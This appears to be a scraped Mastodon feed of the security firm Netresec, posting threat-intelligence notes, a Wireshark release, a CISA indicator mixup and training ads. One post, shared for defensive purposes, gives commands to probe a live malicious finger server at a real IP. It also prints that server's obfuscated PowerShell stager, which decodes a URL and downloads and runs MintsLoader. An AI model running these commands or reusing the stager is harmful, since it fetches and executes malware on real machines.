𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲

@netresec@infosec.exchange
1.2K Followers
609 Following
427 Posts

"After the creation of the rdp.bat file, several commands were executed via a CMD process to modify the host configuration, specifically to permit RDP through the firewall and set the RDP port number to 3389. We assess that these commands were included in the batch file."

Link to the report ⬇️

RE: https://infosec.exchange/@geraldcombs/116133603929246605

#Wireshark 4.6.4 resolves 3 denial of service vulnerabilities in the following protocol dissectors:

The new release also includes a bug fix for #JA4 fingerprints of TLS handshakes with odd ALPN values as well as an important update of the #SOCKS parser, which now enables more reliable extraction of data from within SOCKS tunnels.

CISA mixup of IOC domains

Googles Threat Intelligence Group (GTIG) and Mandiants recent Disrupting the GRIDTIDE Global Cyber Espionage Campaign report is great and it has lots of good Indicators of Compromise (IOC). Many of these IOCs had already been shared by CISA last year as part of their Alert AA25-141A titled Russian G[...]

Netresec
21 of the world's best intelligence and security agencies cannot be wrong... right?
https://netresec.com/?b=26233f4
Or is it the result of "too many cooks"?

How it's made.

#clubmate

Are CISA typing out their IOC domains by hand?
https://netresec.com/?b=26233f4
CISA mixup of IOC domains

Googles Threat Intelligence Group (GTIG) and Mandiants recent Disrupting the GRIDTIDE Global Cyber Espionage Campaign report is great and it has lots of good Indicators of Compromise (IOC). Many of these IOCs had already been shared by CISA last year as part of their Alert AA25-141A titled Russian G[...]

Netresec

RE: https://infosec.exchange/@netresec/115905237000922504

This malicious finger service on 64.190.113.206 (AS399629 / BL Networks) has delivered #MintsLoader for 30+ days and is still up and running!

You can probe it with:
nc 64.190.113.206 79 <<< rcaptcha or finger rcaptcha@64.190.113.206

The malicious "finger" service now gives this response:
powershell -w h $huwcsxf='ur' ;set-alias hf7wz32e c$($huwcsxf)l;$infqtmrw=(2231,2243,2243,2239,2185,2174,2174,2237,2248,2224,2229,2243,2245,2249,2177,2173,2243,2238,2239,2174,2176,2173,2239,2231,2239,2190,2242,2188,2177,2180,2226,2179,2180,2228,2229,2228,2172,2176,2177,2225,2183,2172,2179,2228,2176,2227,2172,2225,2184,2175,2225,2172,2227,2225,2225,2224,2182,2226,2228,2227,2177,2176,2224,2226);$zpsmnihtrogcqb=('reicporet','get-cmdlet');$gsrwpaztvi=$infqtmrw;foreach($yxbwqtafvdn in $gsrwpaztvi){$ptwnmclaqfgh=$yxbwqtafvdn;$wyngvtsfirm=$wyngvtsfirm+[char]($ptwnmclaqfgh-2127);$ljfaixwhpztnkv=$wyngvtsfirm; $axfzykqljsnrwc=$ljfaixwhpztnkv};$uecbvofzghikt[2]=$axfzykqljsnrwc;$sdypqv='rl';$gkmvohls=1;.$([char](((200 + 30) - (100 + 25)))+'e'+'x')(hf7wz32e -useb $axfzykqljsnrwc)

#threatintel

Advanced Malware Traffic Analysis | Singapore, April 21-22

We designed this 2-day intensive training to provide hands-on experience analysing real malware traffic. No textbook scenarios. Real malware, real data, real pressure to make a call.

Join us https://blackhat.com/asia-26/training/schedule/?#advanced-malware-traffic-analysis-defensive-detection-2026-edition-49748!

#training #trafficanalysis

Online training from me! Cyber Threat Intelligence (CTI) + Detection Engineering & Threat Hunting (DE&TH), 07-10 April. A threat-driven approach to achieve improved security outcomes through enhanced detections and hunts - register your interest and get more info at the following link:

https://forms.gle/xZ29xPdpQvM4iPwD6

Paralus LLC: Threat Intel + DE&TH

Hello and thank you for your interest in an online course and workshop focusing on Cyber Threat Intelligence (CTI) core principles extended to Detection Engineering & Threat Hunting (DE&TH)! Scheduling: 07-10 April 2026, Online, 1500-1700 US Eastern Time Cost: $600 USD Workshop Description: Cyber Threat Intelligence (CTI), Detection Engineering, and Threat Hunting (DE&TH) are increasingly popular concepts in information security, but are frequently addressed in isolation. This workshop attempts something different in a focused, abridged fashion: how a foundation of applied CTI leads to improved and enriched DE&TH processes and outcomes. This workshop is short (four, two hour-ish sessions), but designed to address critical needs in modern security programs: 1. Developing an adversary-focused mindset of information security. 2. Aligning understanding of adversaries with own-defense capabilities. 3. Leveraging knowledge of threat actors to drive defensive processes. 4. Fueling sustainable detection engineering practices aligned with organizational priorities. 5. Filling detection and response gaps through rigorous, hypothesis-driven threat hunting. A complete overview and syllabus can be found at this link. This form is to gauge interest and attendance for the proposed training. Training will be conducted online via Zoom with recordings provided of each session to attendees. Payment is required in full prior to the event to ensure cost coverage and commitment to attending. Attendees can request a certificate of completion following the course to record for training and CPE purposes on request.

Google Docs